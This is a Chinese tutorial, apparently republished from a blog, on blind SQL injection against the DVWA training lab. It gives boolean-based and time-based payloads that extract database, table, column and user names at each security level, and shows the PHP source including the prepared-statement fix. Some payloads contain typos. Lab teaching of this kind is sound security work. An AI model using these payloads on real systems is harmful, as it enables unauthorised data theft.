ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

DVWA-SQL Injection(Blind)(SQL盲注)

2020-03-15 18:04:43  阅读:282  来源: 互联网

标签:Blind name substr 猜解 SQL table Injection ascii schema


SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
1 盲注中常用的几个函数:
2 substr(a,b,c):从b位置开始,截取字符串a的c长度 
3 count():计算总数 
4 ascii():返回字符的ascii码 
5 length():返回字符串的长度 left(a,b):从左往右截取字符串a的前b个字符 
6 sleep(n):将程序挂起n秒

手工盲注思路

手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是a啊?”,通过这种机械的询问,最终获得你想要的数据。

盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,这里只演示基于布尔的盲注与基于时间的盲注。

1 下面简要介绍手工盲注的步骤(可与之前的手工注入作比较):
2 
3 1.判断是否存在注入,注入是字符型还是数字型 
4 2.猜解当前数据库名 
5 3.猜解数据库中的表名
6 4.猜解表中的字段名 
7 5.猜解数据

基于布尔值的盲注

安全等级:LOW

查看源码

Low级别的代码对参数id的内容没有做任何检查、过滤,存在明显的SQL注入漏洞;

同时SQL语句查询返回的结果只有两种:

User ID exists in the database
User ID is MISSING from the database

1、判断是否存在注入,注入是字符型还是数据型

输入 1' and '1'='1 ,查询成功,说明存在字符型SQL注入

2、猜解当前数据库名

2.1 猜解数据库名的长度

 1' and length(database())=1 #     // 设数据库长度为1,报错
 1' and length(database())=4 #      //数据库名长度为4

2.2 猜解数据库的名称

1' and ascii(substr(database(),1,1))=100 #     d
1' and ascii(substr(database(),2,1))=118 #     v
1' and ascii(substr(database(),3,1))=119 #     w
1' and ascii(substr(database(),4,1))=97 #      a

3、猜解数据库中的表名

3.1 猜解库中有几个表

 1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2 # //有2个表 

3.2 猜解表名的长度

  1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9 # //猜解第一个表名的长度为9 

3.3 确定表的名称(guestbook,users)

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 0,1),1))=103 #     //g
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 1,1),1))=117 #     //u
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 2,1),1))=101 #     //e
以此类推,进行查询

4、猜解users表中的字段名

4.1 猜解users表中有几个字段

 1' and (select count(column_name) from information_schema.columns where table_name='users')=8 # //users表中有8个字段 

4.2 猜解字段名的长度

  1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1))=4 # //猜解第3个字段的长度 

4.3 确定字段的名称(user)

1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1))=117 #     //u
1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 1,1),1))=115 #     //s
1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 2,1),1))=101 #     //e
1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 3,1),1))=114 #     //r

5、猜解数据(admin)

1’ and ascii(substr((select user from users limit 0,1)1,1))=97 #      //a
1’ and ascii(substr((select user from users limit 1,1)1,1))=100 #    //d
1’ and ascii(substr((select user from users limit 2,1)1,1))=109 #    //m
1’ and ascii(substr((select user from users limit 3,1)1,1))=105 #    //i
1’ and ascii(substr((select user from users limit 4,1)1,1))=110 #    //n

安全等级:Medium

查看源码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?> 
点击查源码

可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00、\n、\r、\、’、”、\x1a等进行转义;存在数字型SQL注入;同时设置了下拉选择表单,控制用户的输入,由源码可以看出,用户只能选择1-5。

 

安全等级为Medium时,只能进行选择,所以使用BurpSuite进行拦截,在数据包中修改id值,然后在Response中的Render下查看结果

 

 

下面操作都是BurpSuite拦截修改ID值,从Response中的Render下查看结果

1、猜解当前数据库名

1.1 猜解数据库名的长度(dvwa)

1 and length(database())=4    //数据库名长度为4

如果输入的数据库名的长度不对,则会进行报错。

1 and length(database())=5,返回结果为User ID is MISSING from the database

1.2 猜解数据库的名称

 1 and ascii(substr(database(),1,1))=100        //d

接下来的操作与Low级别基本上相似。由于Medium级别的注入是数字型的,所以不需要单引号 ' 。也不需要最后的 #操作如上所示

 

安全等级:High

查看源码

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 
点击查看源码

可以看到,High Security Level的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

漏洞利用

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,

下面操作BurpSuite抓包将cookie中参数id改为

从Response中的Render下查看结果

1、猜解当前数据库名

1.1 猜解数据库名的长度

1' and length(database())=4#

显示存在,说明数据库名的长度为4个字符;

接下来的操作与low级别一样。由于在源码中限制了输入的长度为1,所以需要在输入的最后加个#,就可以注释掉源码中的LIMIT 1;

 

在High级别中,不适合用基于时间的盲注,因为High级别的源码中显示,不论猜解正确或者错误,都会sleep(rand(2,4))。如果将时间盲注的时间设置10s左右,太浪费时间。

 

安全等级:Impossible

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 
查看源码

Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入;Anti-CSRF token机制的加入了进一步提高了安全性。同时只有当返回的查询结果数量为1时,才会输出。

 

基于时间的盲注

安全等级:LOW

  • 基于时间的盲注,根据有无延迟来判断,不根据提示语来判断;如果网络有延迟会有影响,建议多试几次;
  • 时间盲注与基于布尔值的盲注的源码一样,在此不再进行源码分析。

1、判断是否存在注入点

1’ and sleep(5) #       //如果有延迟,则证明存在SQL注入,且为字符型

2、猜解当前数据库名

2.1 猜解数据库名的长度

 1' and if(length(database())=4,sleep(5),1) #    //数据库名的长度为4

2.2 猜解数据库的名称(dvwa)

1' and if(ascii(substr(database(),1,1))=100,sleep(5),1) #     //d
1' and if(ascii(substr(database(),2,1))=118,sleep(5),1) #     //v
1' and if(ascii(substr(database(),3,1))=119,sleep(5),1) #     //w
1' and if(ascii(substr(database(),4,1))=97,sleep(5),1) #       //a

3、猜解数据库中的表名

3.1 猜解库中有几个表(2个)

1' and if((select count(table_name) from information_schema.tables 
where table_schema='dvwa')=2,sleep(5),1) #

3.2 猜解表名的长度(第一个表长度为9)

1' and if(length(substr((select table_name from information_schema.tables 
where table_schema='dvwa' limit 0,1),1))=9,sleep(5),1) #

3.3 猜解表的名称(第一个表为guestbook;第二个表为users)

1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 0,1),1))=103,sleep(5),1) #    //g
1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 1,1),1))=117,sleep(5),1) #    //u
以此类推,逐个猜解出来

4、猜解表中的字段名

4.1 猜解表中有几个字段(8个字段)

1' and if ((select count(column_name) from information_schema.columns 
where tables_name='users')=8,sleep(5),1) #

4.2 猜解第三个字段的长度

1' and if(length(substr((select column_name from information_schema.columns 
where table_name='users' limit 3,1),1))=4,sleep(5),1) #       //长度为4

4.3 猜解字段的名称(第三个字段为user)

1' and if(ascii(substr((select column_name from information_schema.columns 
where table_name='users' limit 0,1),1))=117,sleep(5),1) #     //u
以此类推,逐个猜解

5、猜解数据(数据为admin)

 1' and if(ascii(substr((select user from users limit 0,1),1,1))=97,sleep(5),1) #    //a

 

安全等级:Medium

使用Burp Suite进行拦截,修改其id值,从Response中的Render下查看结果。

 

1、判断是否存在注入点

1 and sleep(5)        //如果有延迟,则证明存在SQL注入,且为字符型

接下来的操作与Low级别基本上相似。由于Medium级别的注入是数字型的,所以不需要单引号 ' 。也不需要最后的 # ,操作如LOW时间盲注所示

 

安全等级:High

源码:此时结果错误的话,也会睡眠2-4秒;

因为High级别的源码中显示,不论猜解正确或者错误,都会sleep(rand(2,4))

从而无法判断SQL盲注是否成功。

 

安全等级:Impossible

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 
查看源码

可以看到,Impossible Security Level的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。

标签:Blind,name,substr,猜解,SQL,table,Injection,ascii,schema
来源: https://www.cnblogs.com/escwq/p/12498925.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有